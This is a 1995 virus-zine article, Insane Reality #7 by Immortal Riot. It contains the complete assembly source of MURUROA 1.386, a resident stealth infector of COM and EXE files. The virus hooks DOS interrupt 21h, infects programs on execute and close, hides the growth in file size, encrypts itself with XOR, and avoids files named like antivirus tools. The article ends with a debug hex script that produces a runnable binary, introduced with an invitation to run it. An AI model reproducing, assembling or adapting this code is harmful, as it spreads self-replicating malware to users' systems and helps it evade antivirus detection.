Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 018 


% MURUROA_1.386 by Blesk_SVL %

------------------------------

Here's a nice contribution virus I recieved from Blesk in Slovakia. 
It's a full stealth infector of COM and EXE files, which is pretty 
harmless. According to Blesk, this is not the best virus he's written, 
but not the worst either. I wish him good luck in SVL (Slovakian Virus 
Laboratories, very good viruswriters indeed), as well as his future! 


I started to comment this virus (well, for about 10 minutes anyway), 
but found it a little bit too unstructured to really bother since I was 
a bit short on time, and things like that (I figured you to understand 
the details better than me, (grin!)). So, deal with this fact, or go take a 
hike..



Thank you very much Blesk and good luck in SVL!



- The Unforgiven.

==================================================================
============== 
.286

codes segment

             assume   cs:codes, ds:codes, ss:codes



             org      100h        ; modified first instruction 
                  : ( is that why my debugger choked??? - TU ) 


_z:          jmp      _virus

             nop

             nop

             mov        ax,4c00h

             int        21h

             nop

             db         0f5h dup(90h)



; ============== virus start here ========================== 


_virus:      call       dec_of_dec

orig_instr:

             nop

             nop

             nop

             nop

epo:         dw         1

eps:         dw         2

ess:         dw         3

old_21:      dw         0,0

com_exe:     db         'c'

handle:      dw         0



text:        db         13,10

             db         0c9h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bbh,13,10 
             db         0bah,'   I have one mesage to all people on earth :    ' 
             db         0bah

             db         13,10

             db         0bah,' Stop all French nuclear testing in the PACIFIC  ' 
             db         0bah

             db         13,10

             db         0bah,' Dont forgot :Comon people dont like nuc. tests! ' 
             db         0bah  ;Don't forget: Common (spelling errors.. ;)). 
             db         13,10

             db         0bah,'      This is is a MURUROA  1.386 by Blesk       ' 
             db         0bah

             db         13,10

             db         0bah,'    PLUTONIUM IS BETTER IN POWER-PLANT !!!!      ' 
             db         0bah

             db         13,10

             db         0bah,'  My greet to VYVOJAR,SVL,METABOLIS and all IRC. ' 
             db         0bah

             db         13,10

             db         0c8h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh 
             db         0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bch,13,10 
             db         13,10,'$'



virussize    equ        (offset end_vir)-(offset _virus)



EXE_HEADER:  db         'MZ'                     ;header-sig of exe file 
lastpage:    dw         0                        ;Bytes in last page 
nopages:     dw         0                        ;Count of pages 
RELOC:       dw         0                        ;Count of relocate items 
HederSize:   dw         0                        ;Heder size 
MinMem:      dw         0

MaxMem:      dw         0

ReloSS:      dw         0                        ;Initial SS 
ReloSP:      dw         0                        ;Initial SP 
CeckSum:     dw         0                        ;DOS 3.00+ don't uses this 
StartIP:     dw         0                        ;Starting IP 
StartCS:     dw         0                        ;Starting CS 
OfsRelo:     dw         0                        ;Relocation table's offset 
OVRType:     dw         0                        ;0=Main segment 


_q           equ        (offset _virus)



;========================================================== 


_main:       pop        si                       ; si holds delta-offset.. 


             push       si

             push       ax

             push       bx

             push       cx

             push       dx

             push       ds

             push       bp

             push       es                      ; preserve registers in use 


             push       cs                      ; ds=cs

             pop        ds



             xor        ax,ax                    ; grap int21h (s:o adress) 
             mov        es,ax                    ;

             mov        ax,[es:21h*4]            ; to ax.. 


             mov        [ ds : si+((offset old_21)-_q)],ax   ; save seg-adress 


             mov        ax,[ es : 21h*4+2]                   ; load ax with ofs 
             mov        [ ds : si+((offset old_21)-_q+2)],ax ; save it.. 


             mov        ax,[ es : 1ch*4]                     ; hrm.. 


             pop        es

             push       es

             mov        ax,es

             add        ax,10h



             add        [cs:si+((offset eps) - _q)],ax

             add        [cs:si+((offset ess) - _q)],ax

             cmp        byte ptr [cs:si+((offset com_exe) - _q)],'c' 
             jnz        _exe_zac



             mov        ax,[cs:si+((offset orig_instr)-_q)] 
             mov        [cs:100h],ax

             mov        ax,[cs:si+((offset orig_instr)-_q+2)] 
             mov        [cs:102h],ax

             mov        [cs:si+((offset eps)-_q)],cs

             mov        [cs:si+((offset epo)-_q)],100h

             mov        [cs:si+((offset ess)-_q)],cs



_exe_zac:    mov        ax,6666h                        ; check if virus 
             int        21h                             ; is resident.. 
             cmp        ax,1977h

             jz         _not_instal                     ; => already resident! 


             mov        ax,es                           ; dec es to 
             dec        ax                              ; get mcb-pointer 
             mov        es,ax

             cmp        byte ptr [es:0],5ah             ; last mcb block ? 
             jnz        _end1                           ; not last? 
                                                        ; ==> poof, bail! 


             mov        ax,[es:3]                       ; get size of MB and 
             sub        ax,200h                         ; decrease it 
             jc         _end1                           ; not enough memory? 
                                                        ; ==> bail out.. 


             mov        [es:3],ax                       ; shrink blocksize & 
             sub        word ptr [es:12h],200h          ; free top of memory 
             mov        es,[es:12h]



             xor        di,di               ; copy virus up.. 
             mov        cx,virussize                    ; to our newly 
             cld                                        ; allocated block 
             push       si                              ; until CX=0 
             repz       movsb

             pop        si



             call       _instal                         ; Install new21h 


_not_instal: Call       _destruction                    ; not dangerous.. (ret) 


_end1:       pop        es                              ; restoration 
             pop        bp                              ; routine.. 
             pop        ds

             pop        dx

             pop        cx

             pop        bx

             pop        ax

             pop        si

             mov        ss,[cs:si+((offset ess)-_q)]

             nop

             push       [cs:si+((offset eps)-_q)]

             nop

             push       [cs:si+((offset epo)-_q)]

             retf



;========================================================== 
_instal:

             push       es

             pop        ds

             mov        ax,2521h                        ; set interrupt vector 
             mov        dx,(offset _int21)-_q           ; for int21h 
             int        21h

             ret

;========================================================== 
dos:

             pushf

             db         2eh,0ffh,1eh             ; Call far [cs:xxxx] 
             dw         ((offset old_21)-_q)     ; xxxx=old 21 
             ret

;========================================================== 
_destruction:



             ret



;========================================================== 
; New interrupt int21h handler

;========================================================== 
_int21:

             pushf

             cmp        ax,6666h                 ; installation check? 
             jnz        _next

             mov        ax,1977h                 ; if so, return ax=1977h 
             popf                                ; so virus won't load 
             iret                                ; resident twice 
_next:

             cmp        ax,4b00h                 ; normal execute? 
             jz         _infect



             cmp        ah,4eh                   ; findfirst via handle? 
             jz         ffvh3



             cmp        ah,4fh                   ; findnext via handle? 
             jz         ffvh3



             cmp        ah,12h                   ; findfirst via fcb ? 
             jz         ffvfcb1



             cmp        ah,11h                   ; findnext via fcb ? 
             jz         ffvfcb1



             cmp        ah,3dh                   ; normal file open ? 
             jz         ootvor_                  ; => disinfect 


             cmp        ah,57h                   ; get/set file time or date ? 
             jnz        QWEWQ

             call       casovac                  ; yes.... 
             retf       2



QWEWQ:       cmp        ah,3eh                   ; file close ? 
             jz         zzavri_

;========================================================

_jmp_dos:    popf

             db         2eh,0ffh,2eh             ; jmp

             dw         ((offset old_21)-_q)     ; dos

;========================================================

ootvor_:                                         ; ==> "Go_open" 
             jmp        otvor_

zzavri_:                                         ; ==> "Go_close" 
             jmp        zatvor

;========================================================

_vypis:      push       ax

             push       dx

             push       cx

             push       ds



             push       cs

             pop        ds



             mov        ah,04                   ; read real date 
             int        1ah                     ; from system clock 
             cmp        dl,04                   ; day in BCD=4 ? 
             jnz        not_vypis               ; no?



             mov        dx,(offset text)-_q     ; it is, then activate! 
             mov        ah,09h                  ; (the horror, the horror!) 
             call       dos



             mov        ah,08                   ; char-input wo/echo 
             call       dos                     ; (* wait keypress.. *) 


not_vypis:

             pop        ds

             pop        cx

             pop        dx

             pop        ax



             ret

;========================================================== 
ffvh3:       jmp        ffvh                   ; 4e/4fh

ffvfcb1:     jmp        ffvfcb                 ; 11/12h

;========================================================== 
_infect:

             push       ax

             push       bx

             push       cx

             push       es

             push       dx

             push       ds



             call       infect_files



             pop        ds

             pop        dx

             pop        es

             pop        cx

             pop        bx

             pop        ax



             jmp        _jmp_dos



;========================================================= 
infect_files:



; Strategie ==>

; Findfilename

; Set avoid_names(tab) = false (* Remember to initialise those variables! *) 
; Check if tab is true (by comparing char_by_char in the entire fname) 
; If no_match do return nasiel_s=ff

; Else, return nasiel_s=0

; If nasiel_s=0 = Avoid_Infect_File

; Else, pollute the bastard!

; (* Or whatever.. *)



             call       findstr

             cmp        byte ptr [cs:((offset nasiel_s)-_q)],0ffh 
             jz         next_t

             jmp        NoInfecting

next_t:

             call       _vypis



             call       open

             mov        cx,4h

             mov        dx,((offset exe_header)-_q)

             call       read1

             cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh ; EXE-file? 
             jnz        com_infect                                   ; no! 
             call       exe_infect                                   ; yes! 
             jmp        clo_infect

com_infect:  call       nakaz_com

clo_infect:  call       close

NoInfecting:

             ret

;========================================================= 
nakaz_com:                                              ; infect_com 
             call       begin_file                      ; seek tof 
             jc         cic



             mov        cx,4h                           ; read first4 bytes to 
             mov        dx,((offset exe_header)-_q)     ; exe_header 
             call       read1

             jc         cic



             push       cs

             pop        ds

             mov        ax,[ds:((offset exe_header)-_q)]

             mov        [ds:((offset orig_instr)-_q)],ax

             mov        ax,[ds:((offset exe_header)-_q+2)] 
             mov        [ds:((offset orig_instr)-_q+2)],ax 


             call       end_file

             add        ax,virussize

             jc         cant_infect_com

             sub        ax,virussize



             mov        cx,0ffffh

             mov        dx,0fffeh

             mov        ax,4202h

             call       dos

             jc         cic



             mov        cx,2

             call       read2

             jc         cic

             cmp        word ptr [cs:((offset buff)-_q)],1110h 
             jz         cant_infect_com



             call       end_file

             push       ax

             call       begin_file

             pop        ax



             sub        ax,3

             mov        [cs:((offset exe_header)-_q+1)],ax 
             mov        al,0E9h

             mov        [cs:((offset exe_header)-_q)],al

             mov        cx,3h

             mov        dx,(offset exe_header)-_q

             mov        byte ptr [cs:((offset com_exe)-_q)],'c' 
             call       write1

             jc         cic

             call       end_file

             jc         cic

             call       add_to_file

cic:

cant_infect_com:



             ret

;========================================================== 
coc2:        jmp        ccoc



back:        ret

;========================================================== 


exe_infect:

             mov        cx,0ffffh

             mov        dx,0fffeh

             mov        ax,4202h

             call       dos



             mov        cx,2

             call       read2

             cmp        word ptr [cs:((offset buff)-_q)],1110h 
             jz         coc2



             call       begin_file



             cmp        word ptr [cs:((offset ovrtype)-_q)],0000 
             jnz        coc2



             mov        cx,1ch

             mov        dx,(offset exe_header)-_q

             call       read1



             mov        bx,[cs:((offset reloSS)-_q)]

             mov        [cs:((offset ess)-_q)],bx

             mov        bx,[cs:((offset startIP)-_q)]

             mov        [cs:((offset epo)-_q)],bx

             mov        bx,[cs:((offset startCS)-_q)]

             mov        [cs:((offset eps)-_q)],bx



             add        word ptr [cs:((offset reloSS)-_q)],10h 
             add        word ptr [cs:((offset minmem)-_q)],100h 
             add        word ptr [cs:((offset maxmem)-_q)],100h 
             jnc        NoCaryMem

             mov        word ptr [cs:((offset maxmem)-_q)],0ffffh 
NoCaryMem:   mov        byte ptr [cs:((offset com_exe)-_q)],'E' 


             mov        ax,[cs:((offset nopages)-_q)]

             mov        bx,200h

             xor        dx,dx

             mul        bx



             add        ax,[cs:((offset lastpage)-_q)]

             adc        dx,0



             add        ax,virussize

             adc        dx,0



             mov        bx,200h

             div        bx

             mov        word ptr [cs:((offset lastpage)-_q)],dx 
             mov        word ptr [cs:((offset nopages)-_q)],ax 


             call       end_file



             push       si

             push       di



             mov        di,dx

             mov        si,ax



             mov        ax,[cs:((offset hedersize)-_q)]

             mov        bx,10h

             mul        bx



             sub        si,ax

             sbb        di,dx

             mov        dx,di

             mov        ax,si

             pop        di

             pop        si



             mov        bx,10h

             div        bx



             mov        [cs:((offset startIP)-_q)],dx

             mov        [cs:((offset startCS)-_q)],ax



             call       begin_file

             mov        cx,1ch

             mov        dx,((offset EXE_header)-_q)

             call       write1



             call       end_file

             call       add_to_file



ccoc:

@44:         ret



             jmp        exe_infect



;==================================================================

add_to_file:

             xor        ax,ax

             mov        si,ax

             int        1ah

             xor        cx,dx

             xor        cl,ch

             cmp        dl,0

             jz         add_to_file



             mov        ax,[cs:si]

             mov        [cs:si+virussize],ax

             mov        ax,[cs:si+2]

             mov        [cs:si+virussize+2],ax

             mov        ax,[cs:si+4]

             mov        [cs:si+virussize+4],ax

             mov        ax,[cs:si+6]

             mov        [cs:si+virussize+6],ax

             mov        ax,[cs:si+8]

             mov        [cs:si+virussize+8],ax

             mov        ax,[cs:si+10]

             mov        [cs:si+virussize+10],ax



             mov        dl,cl

             add        si,0012

             mov        cx,(offset d0)-_q-12

             push       dx



repeat:      mov        al,[cs:si]

             xor        al,dl

             mov        [cs:si+virussize],al

             inc        si

             inc        dl

             loop       repeat

             pop        dx

             mov        [cs:si+virussize],dl

             inc        si

             mov        cx,(offset dec_of_dec)-(offset d0)-1 


repeat2:     mov        al,[cs:si]

             xor        al,dl

             mov        [cs:si+virussize],al

             inc        si

             loop       repeat2



             mov        cx,(offset end_vir)-(offset dec_of_dec) 


repeat3:     mov        al,[cs:si]

             mov        [cs:si+virussize],al

             inc        si

             loop       repeat3



             mov        cx,virussize

             call       write2

             call       nastav_datum                    ; Datum = Date :) 
             ret



;========================================================== 


Nastav_datum:

             mov        ax,5700h

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             or         dh,0c0h

             mov        ax,5701h

             call       dos

             ret

;=============Cange DTA==================================== 


change_dta:  pushf

             push       ax

             push       bx

             push       cx

             push       dx

             push       es

             mov        ah,2fh

             call       dos

             mov        dx,[es:bx+18h]

             and        dh,0c0h

             cmp        dh,0c0h

             jnz        not_inf_dta;

             mov        dx,[es:bx+18h]

             and        dh,3fh

             mov        [es:bx+18h],dx

             sub        word ptr [es:bx+1ah],virussize ; stealth low-word 
             sbb        word ptr [es:bx+1ch],0         ; stealth high-word 
not_inf_dta: pop        es

             pop        dx

             pop        cx

             pop        bx

             pop        ax

             popf

             ret

;=======find first via handle=============

ffvh:        popf

             call       dos

             jc         ffvh2

             call       change_dta

ffvh2:       retf       2



;======find first/next via fcb============================= 


ffvfcb:      popf

             call       dos

             pushf

             cmp        al,00

             jnz        no_found

             push       ax

             push       bx

             push       cx

             push       dx

             push       es

             mov        ah,2fh

             call       dos

             mov        al,[es:bx]

             cmp        al,0ffh

             jnz        @ew

             add        bx,8

@ew:         mov        dx,[es:bx+18h]

             and        dh,0c0h

             cmp        dh,0c0h

             jnz        not_inf_dta2;

             mov        dx,[es:bx+18h]

             and        dh,3fh

             mov        [es:bx+18h],dx

             sub        word ptr [es:bx+1ch],virussize

             sbb        word ptr [es:bx+1eh],0

not_inf_dta2:

             pop        es

             pop        dx

             pop        cx

             pop        bx

             pop        ax



no_found:    popf

             iret

;========================================================== 
end_file:    mov        ax,4202h

ttt:         push       cx

             push       bx

             mov        bx,[cs:((offset handle)-_q)]

             xor        cx,cx

             xor        dx,dx

             call       dos

             pop        bx

             pop        cx

             ret



begin_file:

             mov        ax,4200h

             jmp        ttt



open:

             mov        ax,3d02h

             call       dos

             mov        [cs:((offset handle)-_q)],ax

             ret



close:

             mov        ah,3eh

             call       ggg

             ret



ddd:         mov        dx,(offset buff)-_q

             ret



read2:       call       ddd

read1:       mov        ah,3fh

ggg:         push       cs

             pop        ds

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             ret



write2:      call       ddd

write1:      mov        ah,40h

             jmp        ggg

;----------------------------------------------------

analiza:

; ds:dx =>'c:\path\name.ext',0



             push       ax

             push       si

             push       dx

             push       dx                              ;ds:dx = ds:si 
             pop        si

analiza2:

             cmp        byte ptr [si],'\'

             jz         lomitko

             cmp        byte ptr [si],0

             jz         end_name

             inc        si

             jmp        analiza2

lomitko:

             pop        ax

             inc        si

             push       si

             jmp        analiza2

end_name:

             pop        dx

             pop        si

             pop        ax

                                                        ;ds:dx  =>'name.ext',0 
             ret



;----------------------------------------------------------------------------- 
FINDSTR1 proc near

             pusha

             jmp        findstr2



FINDSTR:

             pusha

             mov        byte ptr [cs:((offset nasiel_s)-_q)],0ffh 
             call       analiza

             push       dx

             pop        si

             mov        di,(offset tab-_q)

findstr2:

             mov        bp,si

compar0:     mov        cx,0

compar1:     xor        bx,bx

compar2:     mov        ah,byte ptr cs:[di+bx]

             cmp        ah,0

             jnz        nextwor

             cmp        cx,0

             jnz        found

             jz         nextword

nextwor:

             cmp        ah,1

             jz         found_1

             mov        al,byte ptr ds:[si+bx]



             cmp        al,5bh

             jns        compar3

             cmp        al,41h

             js         compar3

             or         al,20h

compar3:

             cmp        al,0

             jnz        next_w

             cmp        cx,0

             jnz        found

             jnz        nextword

next_w:

             inc        bx

             inc        dx

             inc        cx

             cmp        al,ah

             jz         compar2



nextword:

             mov        ah,cs:[di]

             inc        di

             cmp        ah,1

             jz         found_1

             cmp        ah,0

             jnz        nextword

             jmp        compar0

found:

             mov        byte ptr [cs:((offset nasiel_s)-_q)],0h 
found_1:

             popa

             ret



FINDSTR1 endp



nasiel_s:    db         0

Exe          db         ".exe",0

Com          db         ".com",1



Tab db "avg",0

    db "fv386",0

    db "turbo",0

    db "fv86",0

    db "guard",0

    db "toolkit",0

    db "scan",0

    db "virlab",0

    db "vir",0

    db "asta",0

    db "vc",0

    db "sswap",0

    db "debug",0

    db "td",0

    db "stacker",0

    db "alik",0

    db "rex",0

    db "msav",0

    db "cpav",0

    db "nod",0

    db "clean",0

    db "f-pro",0

    db "tbav",0

    db "tbdriver",0

    db "tbclean",0

    db "tbscan",0

    db "avast",0

    db "nav",0

    db "vshie",0

    db "dizz",0

    db "command",0

    db "vsafe",1

;==============================================================

handle2:    dw 0000

subo        dw 0

pom         dw 0



otvor_:

             push       si                              ; file is being opened 
             pushf

             push       bx

             push       cx

             push       dx

             push       es

             push       ds

             push       ax

             mov        al,2

             call       dos

             jnc        _ccc

             jmp        _oexit

_ccc:

             mov        bx,ax

             mov        word ptr [cs:((offset pom)-_q)],ax 
             mov        ax,5700h

             call       dos

             mov        al,dh

             and        al,0C0h

             cmp        al,0C0h

             jz         _c0

             mov        ah,3eh

             call       dos

             jmp        _oexit

_c0:

             mov        bx,word ptr [cs:((offset pom)-_q)] 
             mov        cx,4h

             mov        dx,((offset exe_header)-_q)

             call       read1

             cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh 
             jnz        com_deinfect2

             call       exe_desinfect

             jmp        clo_deinfect2

com_deinfect2:

             call       cisti_com

clo_deinfect2:

             call       nastav_datum



             mov        ah,3eh

             call       dos



             pop        ax

             mov        al,2

             jmp        _we3



_oexit:

             pop        ax

_we3:        pop        ds

             pop        es

             pop        dx

             pop        cx

             pop        bx

             popf

             pop        si

             jmp        _jmp_dos



Zatvor:

             pushf

             push       ax

             push       bx

             push       cx

             push       dx

             push       es

             push       ds

             mov        word ptr [cs:((offset pom)-_q)],bx 
             mov        ax,5700h

             call       dos

             jc         _cexit

             mov        al,dh

             and        al,0C0h

             cmp        al,0C0h

             jnz        _cexit



             push       cs

             pop        ds



             mov        bx,word ptr [cs:((offset pom)-_q)] 
             mov        word ptr [cs:((offset handle)-_q)],bx 
             mov        cx,4h

             mov        dx,((offset exe_header)-_q)

             call       read1

             cmp        word ptr [cs:((offset exe_header)-_q)],5a4dh 
             jnz        com_infect2

             call       exe_infect

             jmp        clo_infect2

com_infect2: call       nakaz_com

clo_infect2: call       nastav_datum



_cexit:

              pop       ds

              pop       es

              pop       dx

              pop       cx

              pop       bx

              pop       ax

              popf

              jmp       _jmp_dos



cistil:       db        0



;============================================================== 
exe_desinfect:

             mov        cx,0ffffh

             mov        dx,0fffeh

             mov        ax,4202h

             call       dos



             mov        cx,2

             call       read2

             cmp        word ptr [cs:((offset buff)-_q)],1110h 
             jz         koc3

             jmp        koc2

koc3:

             call       begin_file



             mov        cx,1ch

             mov        dx,(offset exe_header)-_q

             call       read1



             mov        bx,[cs:((offset ess)-_q)]

             mov        [cs:((offset reloSS)-_q)],bx

             mov        bx,[cs:((offset epo)-_q)]

             mov        [cs:((offset startIP)-_q)],bx

             mov        bx,[cs:((offset eps)-_q)]

             mov        [cs:((offset startCS)-_q)],bx



;            sub        word ptr [cs:((offset reloSS)-_q)],10h 
;            sub        word ptr [cs:((offset minmem)-_q)],100h 
;            sub        word ptr [cs:((offset maxmem)-_q)],100h 


             mov        ax,[cs:((offset nopages)-_q)]

             mov        bx,200h

             xor        dx,dx

             mul        bx

             add        ax,[cs:((offset lastpage)-_q)]

             adc        dx,0

             sub        ax,virussize

             sbb        dx,0

             mov        bx,200h

             div        bx

             mov        word ptr [cs:((offset lastpage)-_q)],dx 
             mov        word ptr [cs:((offset nopages)-_q)],ax 


             call       begin_file

             mov        cx,1ch

             mov        dx,((offset EXE_header)-_q)

             call       write1



             mov        ax,4202h

             mov        cx,0ffffh

             mov        dx,cx

             sub        dx,virussize

             inc        dx

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             jc         koc2



             call       nastav_datum

             mov        ax,4001h

             xor        cx,cx

             xor        dx,dx

             call       dos

             jc         koc2



             call       nastav_datum

koc2:        ret



cisti_com:

             pusha

             mov        ax,4202h

             mov        cx,0ffffh

             mov        dx,cx

             sub        dx,01h

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             jnc         _kon1_

             jmp        _kon1

_kon1_:

             push       cs

             pop        ds

             mov        ah,3fh

             mov        dx,((offset buff)-_q)

             mov        cx,2

             call       dos

             jnc         _kon2_

             jmp        _kon1

_kon2_:

             cmp        word ptr [cs:((offset buff)-_q)],1110h 
             jz         _kon3_

             jmp        _kon1

_kon3_:

             push       cs

             pop        ds



             mov        ax,4202h

             mov        cx,0ffffh

             mov        dx,cx

             sub        dx,virussize

             add        dx,1+3

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             jnc        next55

             jmp        _kon1

next55:

             push       cs

             pop        ds

             mov        ah,3fh

             mov        dx,((offset buff)-_q)

             mov        cx,3

             call       dos

             jc         _kon1



_no_decod:

             mov        ax,4200h

             xor        cx,cx

             mov        dx,cx

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             jc         _kon1



             mov        ax,4000h

             mov        cx,3

             mov        dx,((offset buff)-_q)

             call       dos

             jc         _kon1



             mov        ax,4202h

             mov        cx,0ffffh

             mov        dx,cx

             sub        dx,virussize

             inc        dx

             mov        bx,[cs:((offset handle)-_q)]

             call       dos

             jc         _kon1



             mov        ax,4001h

             xor        cx,cx

             xor        dx,dx

             call       dos

             jc         _kon1



             mov        byte ptr [cs:((offset cistil)-_q)],0ffh 
             jmp        _kon2

 _kon1:

             mov        word ptr [cs:((offset handle)-_q)],00 
 _kon2:      popa

             ret



;==============================================================

casovac:     cmp        al,00                           ; get file time o date? 
             jz         casovac_zisti                   ; yes.. 
casovac_nastav:

             push       ax                              ; ==> set file time or 
             push       cx                              ; date.. ! 
             push       dx

             mov        ax,5700h

             call       dos

             and        dh,3fh

             cmp        dh,3fh

             pop        dx

             pop        cx

             pop        ax

             jnz        nastav

             or         dx,3fh

nastav:      call       dos

             ret

casovac_zisti:                                          ; ==> get file time or 
             call       dos                             ; date.. ! 
             and        dh,3fh

             ret



;==============================================================

d0:          db         0

_virus_dec:  pop        si

             sub        si,3

             push       si

             mov        dl,[cs: si+((offset d0)-_q)]

             cmp        dl,0

             jz         nodec

             mov        cx,(offset d0)-_q-12

             add        si,12

aa:          mov        al,[cs:si]

             xor        al,dl

             mov        [cs:si],al

             inc        si

             inc        dl

             loop       aa

nodec:       jmp        _main



dec_of_dec:  JMP        @1                      ; This is confusing to 
@8:          loop       next                    ; follow.. (* SMC *) 
             jmp        no_dec1

@2:          pop        si

             jmp        @3

next:        xor        [cs:si],dl

             jmp        @7

@5:          mov        cx,((offset dec_of_dec)-(offset _virus_dec)) 
             jmp        @6

@4:          mov        dl,[cs:si+(((offset d0)-_q)-3)]

             jmp        @5

@6:          add        si,((offset _virus_dec)-_q)-3

             jmp        next

@7:          inc        si

             jmp        @8

no_dec1:     jmp        _virus_dec

@3:          push       si

             JMP        @4

@1:          NOP

             JMP        @2

             dw         1110h

end_vir:

buff:

codes ends

end _z

==================================================================
============== 
; As usual, type:

; debug <filename.ext (what you name the hex-script to, damn it!) 
; to get bleskvir.com (just nail 'em up!)

; written to your logical drive.. (he got spvivit! :)).

; Start it and have fun..

;==================================================================
============= 
N bleskvir.COM

E  100  E9 61 08 DF C6 A7 F9 B2 E4 B4 FB F5 E1 B4 E5 F5

E  110  F0 BC E4 A6 E2 F5 E4 B0 FA B0 F7 A6 F3 B1 B6 BC

E  120  F8 F5 DF BB E5 B4 F8 B0 B6 87 F3 B4 FA BC E2 AC

E  130  B6 F6 A1 F4 B7 F4 9B DF 2F 78 97 6B 7A D4 3A 18

E  140  BF 37 6D 61 94 E6 4D 6F 96 CD 5B C5 22 DC 2C 4C

E  150  95 18 B7 61 96 18 80 6D 95 D5 5B C5 2E D5 2E 85

E  160  91 E6 69 6C 74 D1 6A 6B 29 D6 7E C0 96 61 96 18

E  170  80 6D 95 D5 5B C5 22 DC 2C 74 9E 18 B7 6D 69 99

E  180  5B F4 C0 82 C6 86 C7 87 75 8E 1D 02 A5 15 6A 79

E  190  AA F5 E4 D0 3D 37 6E 3E DA E9 86 A6 91 55 72 25

E  1a0  9C 35 7D 24 AA CD E2 C6 E5 CC BA C5 94 15 94 15

E  1b0  94 15 94 15 16 31 19 DF 76 3E 4C 54 54 75 96 5E

E  1c0  6C 3E 44 E9 8D A7 91 A0 5A 55 62 55 7D 12 AA CC

E  1d0  1D 0C 3A 5F 5E 65 B6 A1 94 79 DD E7 7B 94 65 7E

E  1e0  1D 1E DF 35 3C 8F CF 8E CE 8A C8 16 9B DF 5F 18

E  1f0  5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  200  5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  210  5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  220  2D D8 9C 6F B6 F5 B6 9C B6 BD F7 A3 F3 F5 F9 BB

E  230  F3 F5 FB B0 E5 B4 F1 B0 B6 A1 F9 F5 F7 B9 FA F5

E  240  E6 B0 F9 A5 FA B0 B6 BA F8 F5 F3 B4 E4 A1 FE F5

E  250  AC F5 B6 F5 B6 6F 9B DF 2C F5 C5 A1 F9 A5 B6 B4

E  260  FA B9 B6 93 E4 B0 F8 B6 FE F5 F8 A0 F5 B9 F3 B4

E  270  E4 F5 E2 B0 E5 A1 FF BB F1 F5 FF BB B6 A1 FE B0

E  280  B6 85 D7 96 DF 93 DF 96 B6 F5 2C D8 9C 6F D2 BA

E  290  F8 A1 B6 B3 F9 A7 F1 B0 E2 EF B6 96 F9 B8 FB BA

E  2a0  F8 F5 E6 B0 F9 A5 FA B0 B6 B1 F9 BB B1 A1 B6 B9

E  2b0  FF BE F3 F5 F8 A0 F5 FB B6 A1 F3 A6 E2 A6 B7 6F

E  2c0  9B DF 2C F5 B6 F5 B6 F5 B6 81 FE BC E5 F5 FF A6

E  2d0  B6 BC E5 F5 F7 F5 DB 80 C4 80 C4 9A D7 F5 B6 E4

E  2e0  B8 E6 AE E3 B6 B7 EF F5 D4 B9 F3 A6 FD F5 B6 F5

E  2f0  B6 F5 B6 F5 2C D8 9C 6F B6 F5 B6 F5 C6 99 C3 81

E  300  D9 9B DF 80 DB F5 DF 86 B6 97 D3 81 C2 90 C4 F5

E  310  DF 9B B6 85 D9 82 D3 87 BB 85 DA 94 D8 81 B6 F4

E  320  B7 F4 B7 F5 B6 F5 B6 F5 B6 6F 9B DF 2C F5 B6 98

E  330  EF F5 F1 A7 F3 B0 E2 F5 E2 BA B6 83 CF 83 D9 9F

E  340  D7 87 BA 86 C0 99 BA 98 D3 81 D7 97 D9 99 DF 86

E  350  B6 B4 F8 B1 B6 B4 FA B9 B6 9C C4 96 B8 F5 2C D8

E  360  9C 1D 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  370  5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  380  5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18 5B 18

E  390  5B 18 5B 69 9B DF 9B DF 96 F5 B6 F5 B6 F5 B6 F5

E  3a0  C6 A7 F3 A6 E5 F5 F7 BB EF F5 FD B0 EF F5 E2 BA

E  3b0  B6 B6 F9 BB E2 BC F8 A0 F3 FB B8 F5 9B DF B2 DE

E  3c0  85 67 49 0A 49 67 26 D6 86 0E 4A DC 49 0E 8F DC

E  3d0  9D C6 26 D6 86 0E 4D DE 85 65 95 C5 4D 0E 9D C6

E  3e0  49 0A 4D 0E 86 F5 97 2F 8F DC 9D 09 4A C6 49 67

E  3f0  86 09 4A DC 49 C4 24 67 27 65 B6 DE 4A F5 97 C5

E  400  4A 09 B6 F5 9F C2 26 64 24 C5 8C D6 4D C4 24 67

E  410  27 64 26 65 26 DA 4A DE 4A D4 86 09 4A CD 9D C6

E  420  26 F5 95 C5 8C D1 4D DE 85 65 95 C5 4B DC 48 C4

E  430  B6 DE 4A 09 99 09 4A DE 4A 09 99 09 24 09 95 C5

E  440  4D 0A 9F C6 26 D6 86 0A 49 0E 9D C6 26 D6 86 0E

E  450  4D DE 85 67 86 CC 9F C6 4D 67 27 65 95 C5 4D 0E

E  460  9D C6 26 D6 86 08 9F 0B 87 64 26 CC 94 DA 49 67

